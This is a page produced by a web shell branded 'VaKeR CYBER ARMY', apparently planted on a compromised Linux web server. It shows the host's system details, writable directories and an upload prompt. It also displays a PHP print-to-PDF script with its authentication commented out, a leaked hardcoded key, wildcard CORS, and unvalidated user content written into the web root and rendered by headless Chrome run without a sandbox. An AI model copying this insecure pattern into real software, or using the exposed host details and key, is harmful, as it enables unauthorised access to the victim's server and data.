VaKeR CYBER ARMY
Logo of a company Server : Apache/2.4.41 (Ubuntu)
System : Linux absol.cf 5.4.0-198-generic #218-Ubuntu SMP Fri Sep 27 20:18:53 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Directory :  /var/www/html/php_printer/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/php_printer/print_url.php
<?php
$basePath = "http://localhost/php_printer/";
header('Access-Control-Allow-Origin: *');
header('Access-Control-Allow-Methods: POST');
header("Access-Control-Allow-Headers: *");
$data = null;
$data = json_decode(file_get_contents('php://input'), true);


// if ($data == null)  die "Invalid data!";
// if (!isset($data["content"]) || !isset($data["key"])) die "Invalid data!";
// if ($data["key"] != "F5k3KmWwrXow50JSfwhtmOGgoRInZ4QG6dim27rDdHfzH2yOp49INAyTB2ix")  die "Invalid keychain!";
$filePrefix = "f".rand();
$inFileName = $filePrefix.".html";
$outFileName =  $filePrefix.".pdf";
$myfile = fopen($inFileName, "w") or die("Unable to open file!");
fwrite($myfile,$data["content"]);
fclose($myfile);


$outFileName = $filePrefix.".pdf";
$url = $basePath.$inFileName;
//$url = "https://absol.cf";//--print-to-pdf-no-header
$cmd = "google-chrome-stable --headless --disable-gpu --no-sandbox  --print-to-pdf=".$outFileName." ".$url;
$res = shell_exec($cmd);

if(file_exists($outFileName)){

    //Get file type and set it as Content Type
    $finfo = finfo_open(FILEINFO_MIME_TYPE);
    header('Content-Type: ' . finfo_file($finfo, $outFileName));
    finfo_close($finfo);

    //Use Content-Disposition: attachment to specify the filename
    header('Content-Disposition: attachment; filename='.basename($outFileName));

    //No cache
    header('Expires: 0');
    header('Cache-Control: must-revalidate');
    header('Pragma: public');

    //Define file size
    header('Content-Length: ' . filesize($outFileName));
    readfile($outFileName);
   
    unlink($inFileName); 
    unlink($outFileName);
    exit;
}
?>

VaKeR 2022